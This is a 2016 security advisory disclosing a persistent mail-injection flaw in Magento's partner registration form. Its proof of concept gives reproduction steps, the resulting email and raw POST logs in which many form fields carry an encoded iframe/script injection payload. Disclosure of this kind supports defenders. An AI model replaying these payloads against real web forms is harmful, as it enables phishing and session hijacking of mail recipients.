eBay Magento Persistent Mail Encoding
Posted on 28 January 2016
Document Title: =============== Ebay Magento Bug Bounty #2 - Persistent Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1203 eBay Inc. Bug Bounty Program ID: EIBBP-26644 Release Date: ============= 2016-01-18 Vulnerability Laboratory ID (VL-ID): ==================================== 1203 Common Vulnerability Scoring System: ==================================== 3.7 Product & Service Introduction: =============================== Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites. Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away. ( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a persistent mail encoding web vulnerability in the official eBay Magento `partners` Web-Application. Vulnerability Disclosure Timeline: ================================== 2016-01-18: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Ebay Inc. Product: Magento - Partners Web Application 2014 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent mail encoding web vulnerability has been discovered in the official magento partners web-application. The vulnerability allows remote attackers to bypass the outgoing mail filter validation of the magento web-server. The persistent vulnerability is located in the `/register_new_industry.aspx` file of the partners.magento.com/English/ website web-application. The context validation vulnerability itself is located in the firstname and lastname values. Remote attackers are able to inject the payload as firstname and lastname. The remote vulnerability can be exploited by remote attackers or with automatic post scripts to send customers, clients and other random people malicious mails with injected script codes. The attack vector is persistent and the injection request method is POST. The security risk of the vulnerability is estimated as medium but affects the full partner web-server. The validation on the same server does not encode the outgoing values which results in the wrong encoded outgoing mails through the web forumlar. Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction because of the persistent attack vector. Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirect and manipulation of web header or mail context. Vulnerable Domain(s): [+] https://partners.magento.com Vulnerable Path(s): [+] ../English/ Vulnerable File(s): [+] register_new_industry.aspx Vulnerable Parameter(s): [+] firstname [+] lastname Affected Sender(s): [+] partners@partners.magento.com Proof of Concept (PoC): ======================= The persistent mail encoding web vulnerability can be exploited by remote attackers without privileged web-application user account but with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided steps and information below. Manually steps to reproduce ... 1. Open up the website of the magento premium partners program > https://partners.magento.com/English/ 2. As next step we open the website with the registration formular for premium and platinum customers of the industry > https://partners.magento.com/English/register_new_industry.aspx 2. Now we inject our payload as firstname and lastname values in the input form of the partners formular 3. Click the send/submit email button 4. You will get redirected to a https://partners.magento.com/English/register_thanks.aspx with an id of the users session 5. Open your mailbox and watch the mail with the regular validation 6. The injected script code of the partner formular post method request executes after the Dear [First- & Lastname] introduction PoC: Magento Partners: Your Magento Industry Partner Program Application (eMail) <head> <title>Your Magento Industry Partner Program Application</title> <link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css"> </head> <body> <table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b> Your Magento Industry Partner Program Application</td></tr><tr><td><b>Von: </b>"Magento Business Development Team" <partners@partners.magento.com></td></tr><tr><td><b>Datum: </b>16.02.2014 14:21</td></tr></table><table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr><td><b>An: </b>"bkm@evolution-sec.com" <bkm@evolution-sec.com></td></tr></table><br> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; " /> <title>Magento</title> <style type="text/css"> a { color: #0068b7; text-decoration: none; } </style> </head> <body bgcolor="#EDEBE4"> <table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#EDEBE4"> <tr> <td> <table align="center" width="660" border="0" cellpadding="0" cellspacing="0" bgcolor="#EDEBE4"> <tr> <td> <table width="100%" border="0" cellspacing="20" cellpadding="0"> <tr> <td style="padding:20px;" bgcolor="#EDEBE4"><img src="http://partners.magento.com/images/emails/magento_logo-200x59.gif" width="200" height="59" border="0" alt="Magento"></td> </tr> <tr> <td bgcolor="#FFFFFF" style="padding: 20px; font: bold 22px Arial, Helvetica, sans-serif; color: #F57B20; line-height: 22px;">Your Magento Industry Partner Program Application</td> </tr> <tr> <td bgcolor="#FFFFFF" style="padding: 20px; font: 12px Arial, Helvetica, sans-serif; color: #666666; line-height: 22px;"> <strong>Dear "><[PERSISTENT INJECTED SCRIPT CODE EXECUTION OCCURS HERE!]>%20<X>,</strong><br> <br> Thank you for your interest in the Magento Industry Partner Program. The Magento business development team will evaluate your application and reply to you within a few business days.<br> <br> In the meantime, please review the process for listing and <a href="http://www.magentocommerce.com/magento-connect/market_your_extension/">marketing your extension on Magento Connect</a>. We also encourage you to avail yourself of the resources available on Magento.com.<br> <br> Magento has a tremendous ecosystem of merchants, system integrators and technology partners to help grow your business. We look forward to being able to contribute to your business success.<br> <br> Best Regards,<br> The Magento Business Development Team </td> </tr> <tr> <td style="padding: 20px; font: 12px Arial, Helvetica, sans-serif; color: #666666; line-height: 22px;"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="center" style="font: 8px Arial, Helvetica, sans-serif; color: #666666; line-height: 22px;"><img src="http://partners.magento.com/images/emails/magento_logo-200x59.gif" width="200" height="59" border="0" alt="Magento"><br /><br /></td> </tr> <tr> <td align="center" style="font: 8px Arial, Helvetica, sans-serif; color: #666666; line-height: 22px;">Copyright © 2014 Magento, Inc. All rights reserved.</td> </tr> <tr> <td align="center" style="font: 10px Arial, Helvetica, sans-serif; color: #666666; line-height: 22px;">10441 Jefferson Blvd. Suite 200 Culver City. CA 90232</td> </tr> <tr> <td align="center" style="font: 10px Arial, Helvetica, sans-serif; color: #666666; line-height: 22px;"> <a href="http://www.magentocommerce.com/company/privacy" style="font-size: 10px; font-family: Arial, Helvetica, sans-serif;color: #0068b7; text-decoration: none;">Contact Us</a> | <a href="http://www.magentocommerce.com/company/privacy" style="font-size: 10px; font-family: Arial, Helvetica, sans-serif;color: #0068b7; text-decoration: none;">Privacy Policy</a></td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </body> </html> </body> </html> --- PoC Session Logs [POST] --- Status: 302[Found] POST https://partners.magento.com/English/register_new_industry.aspx Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[146] Mime Type[text/html] Request Header: Host[partners.magento.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://partners.magento.com/English/register_new_industry.aspx] Cookie[optimizelySegments=%7B%22239237138%22%3A%22search%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1392555308093r0.28514728302806724; optimizelyBuckets=%7B%7D; _ga=GA1.2.1553871972.1392555309; s_cc=true; s_fid=38F623EDADDDEA51-32134A2CDE4D98DA; gpv_pn=%2Fsecurity; undefined_s=First%20Visit; s_vnum=1393628400474%26vn%3D1; s_invisit=true; _tsm=m%3DSearch%2520Engine%253A%2520Organic%7Cs%3DGoogle%7Ck%3Dkeyword%2520unavailable%7Crp%3D%252Furl%7Crd%3Dgoogle.de; s_sq=%5B%5BB%5D%5D; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A6%3A%22Direct%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22time%22%3Bi%3A1392555408%3B%7D; ASP.NET_SessionId=xdw2r4g502j5vgz1xtc5cg1n; BIGipServerHTTP_Pool=1711284746.20480.0000; __utma=233864223.1553871972.1392555309.1392556607.1392556607.1; __utmb=233864223.8.10.1392556607; __utmc=233864223; __utmz=233864223.1392556607.1.1.utmcsr=magentocommerce.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/contact-us/thank_you] Connection[keep-alive] POST-Daten: __EVENTTARGET[] __EVENTARGUMENT[] __VIEWSTATE[QuKHEi78Q5NXBcEbY1bmudR5hlqROZF3QyK03ydm08qBPTkmZQGq9d8Lon4G25myXyP5nbjtBs5qet5UoNP7EE%2FOOsDCuOlEi7r5pMf8RhDeU%2Fr%2Fdq0gXRkDNbXNvsC3%2BI3YECtEH5BwtmYPkbVM2kYjUKWAJit5LPuFgpJe%2FDrxOaNmOoEB%2BTKWOQgejuoPM6FHq0b3n4w08c4rYvb3mv7l9PGIunczvtmhayKScFi8%2BJYqK5%2FHSfhgTGH7mpcoMsfAXDVUSlodU1wnDAypkZ8ISp1e26w4KMoVgrrBAisMr0kBZXIdbly%2Bh8RdQxF39IIP4%2B2VHPp%2BUX4gETXVZDdh5nk%3D] __VIEWSTATEENCRYPTED[] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24FirstName[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24LastName[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Company[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24TitleBox[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Phone[0234234234] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Website[http%3A%2F%2Fwww.evolution-sec.com] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Fax[] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Address1[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Address2[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24City[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Zip[34128] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Country[Germany] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24State[] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Canada[] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Province[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2506[293727] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2626[307370] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2507[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2508[293736] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2509[] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2510[] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2513[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2514[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2517[293856] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2518[293865] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2519[293867] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2520[293871] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2521[293877] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2522[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2523[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24Question_2524[%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E++++%22%3E%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24ctl50.x[112] ctl00%24ctl00%24ctl00%24GlobalBodyContent%24ExternalBodyContent%24BodyContent%24ctl50.y[6] Response Header: Cache-Control[private] Content-Type[text/html; charset=utf-8] Location[/English/register_thanks.aspx] Server[Microsoft-IIS/7.5] X-AspNet-Version[4.0.30319] X-UA-Compatible[IE=Edge] Date[Sun, 16 Feb 2014 13:22:19 GMT] Content-Length[146] 14:22:13.392[237ms][total 507ms] Status: 200[OK] GET https://partners.magento.com/English/register_thanks.aspx Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[9280] Mime Type[text/html] Request Header: Host[partners.magento.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://partners.magento.com/English/register_new_industry.aspx] Cookie[optimizelySegments=%7B%22239237138%22%3A%22search%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1392555308093r0.28514728302806724; optimizelyBuckets=%7B%7D; _ga=GA1.2.1553871972.1392555309; s_cc=true; s_fid=38F623EDADDDEA51-32134A2CDE4D98DA; gpv_pn=%2Fsecurity; undefined_s=First%20Visit; s_vnum=1393628400474%26vn%3D1; s_invisit=true; _tsm=m%3DSearch%2520Engine%253A%2520Organic%7Cs%3DGoogle%7Ck%3Dkeyword%2520unavailable%7Crp%3D%252Furl%7Crd%3Dgoogle.de; s_sq=%5B%5BB%5D%5D; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A6%3A%22Direct%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22time%22%3Bi%3A1392555408%3B%7D; ASP.NET_SessionId=xdw2r4g502j5vgz1xtc5cg1n; BIGipServerHTTP_Pool=1711284746.20480.0000; __utma=233864223.1553871972.1392555309.1392556607.1392556607.1; __utmb=233864223.8.10.1392556607; __utmc=233864223; __utmz=233864223.1392556607.1.1.utmcsr=magentocommerce.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/contact-us/thank_you] Connection[keep-alive] Response Header: Cache-Control[private] Content-Type[text/html; charset=utf-8] Server[Microsoft-IIS/7.5] X-AspNet-Version[4.0.30319] X-UA-Compatible[IE=Edge] Date[Sun, 16 Feb 2014 13:22:19 GMT] Content-Length[9280] Vary[Accept-Encoding] Content-Encoding[gzip] Connection[Keep-Alive] Reference(s): https://partners.magento.com/ https://partners.magento.com/English/ https://partners.magento.com/English/register_new_industry.aspx https://partners.magento.com/English/register_thanks.aspx Picture(s): ../1.png ../2.png ../3.png ../4.png Resource(s): ../Magento Partner Program_input.htm ../Your Magento Industry Partner Program Application.html ../Your Magento Industry Partner Program Application.eml ../poc-session-logs.txt ../poc.txt Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse of the vulnerable first- & lastname values in the contact-sales files. Setup a web-server restriction, parse and encode all outgoing database user, url and name values to prevent further persistent mail encoding issues. Security Risk: ============== The security risk of the persistent mail encoding web vulnerability and the web-server validation misconfiguration are estimated as medium. (CVSS 3.7) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
